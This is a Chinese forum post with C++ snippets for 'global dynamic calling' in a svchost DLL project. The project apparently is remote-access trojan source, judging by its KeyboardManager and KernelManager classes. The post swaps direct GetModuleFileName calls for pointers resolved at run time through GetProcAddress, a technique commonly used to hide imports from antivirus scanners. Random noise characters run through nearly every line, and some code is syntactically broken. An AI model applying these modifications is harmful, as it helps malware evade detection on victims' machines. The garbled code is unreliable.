返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记' N- `6 R( `3 x6 k5 t5 O
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h* _% C& Q5 [: t( E/ x
----------------------------------------
: A6 O! w) B, J9 XDTDY.h:2 D9 z) e. c9 q  j

# B2 Q9 H+ y, |#if _MSC_VER>1000
3 f$ y3 T' X1 D/ \7 d# z9 z#pragma once: |7 ^6 s/ ^2 i$ R6 S  A5 e
#endif //_MSC_VER>1000( l! ?# w& B1 H, {# j+ ~3 i5 ?: J
#include<windows.h>$ l" l- t2 i% l% v, H

9 i+ i8 s! I8 i7 c/ C% qtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
" l7 |+ r5 ^" E' z7 Sclass DTDY4 B5 ]% N( k# e" A$ p
{! p- b6 q, {+ G( I; P6 A
public:* |# q0 l3 q3 @' v4 y3 W1 P! g& \7 w- ?
DTDY();& h* c/ i7 {. b( n
virtual ~DTDY();
- s7 t2 o& A2 s9 }' ^+ n' p1 u+ wpublic:
. F1 e5 e( N0 I5 f, ?static pGetModuleFileNameA MyGetModuleFileName;* H6 Q. r4 l; X( a9 l
static BOOL FunInitiallization();
$ n! A7 M& E  [  `; A" p};
. M; ]; r. `, E0 M#endif4 p$ y# ]+ {* Y& L
----------------------------------------
( E8 k4 j/ \5 P7 B, A
; f( F$ ^1 f5 R3 J+ bDTDY.cpp:+ S8 S+ U* d. }5 g% S* T% P

' v# W' k8 J! t, _6 b! w% L& G#include "DTDY.h"9 c1 `7 w. t7 ~& A1 c) G
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 N& L- x- N1 j) ]
DTDY:TDY()
0 S. o, @5 U, K/ U! ?/ ~4 m/ F/ o{& v$ d1 T* |$ s$ h- u+ z; B
}
6 J, \. l6 Q( O6 F2 Z; K) tDTDY::~DTDY()
* p0 Z9 X  F' j  L; G9 @5 C. t& n{
; h+ B7 g# a0 d. K}
& A' S1 X" x1 V7 M  t: N5 PBOOL DTDY::FunInitiallization()2 ]  y6 b# a. B% o- p5 i3 }' ^# X
{1 F! ^) H' b1 @  E  Q
HMODULE hModule=LoadLibrary("kernel32.dll");9 @- H. m. c4 ~  S/ j
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");% ]# g+ l! _+ e- O+ n0 B1 X+ S
if(!MyGetModuleFileName=) return FALSE;
7 A7 i# o' d7 _) I8 v4 }; q" n8 L$ ^% T- V) E' E, P- r
return TRUE;
) z! w1 K, K% @& S  O5 K; H: L}
% [% q" l- a1 @0 w( p----------------------------------------2 q, b' k6 {& G. ~) |
svchost.cpp:
* D! F* r" X, `- k9 l# X7 R& b# D* o" }+ f* ?
#include "DTDY.h"
& b0 T/ ?9 |+ b/ x/ \
% Y- c! c: C: e& Q0 {: c- r0 eBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ a) j. S( u, V, S0 o
{
/ d( M" n/ ~* y2 e: G9 A- cswitch(ul_reason_for_call)
3 i5 ]# @9 Z  q  B{
# K& C0 M; h# F) S3 {case DLL_PROCESS_ATTACH:7 p) B% H8 f$ B$ h- v# Z9 y) B0 q
if(!DTDY::FunInitiallization()) return FALSE;
0 u) J0 F' @. v2 f- `% d/ A) Y" F- a4 X! P; ^7 T
break;$ {3 {8 D: u/ p& V) }) ^" g' L. w. C
}* X+ p! U& x# w; q6 ~
}
+ _8 `9 g7 t. ~1 k* L2 W; U; j
- [; H/ N1 K% _7 z3 K; [- l1 H$ l' i6 {. s, {( I6 C3 a
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
; x( Z% [" v  o& y) o5 N, V改写为3 ?, ?8 U9 O  l, q8 Z3 m% [/ E
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# _: t9 ?# j1 B. o
----------------------------------------" E+ j$ `" l& @5 G" [
KernelManager.cpp:) x6 W+ C6 F, [1 V* |/ N' A* N
5 I0 L6 H9 D% L' ]- g
#include "../DTDY.h"- G' I4 L0 r) \: j
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
6 b3 j" y& f) [改写为
* ~1 P  u6 P& _; s. E( B% lDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ |" h# v  }1 O7 ~( m  [----------------------------------------

返回列表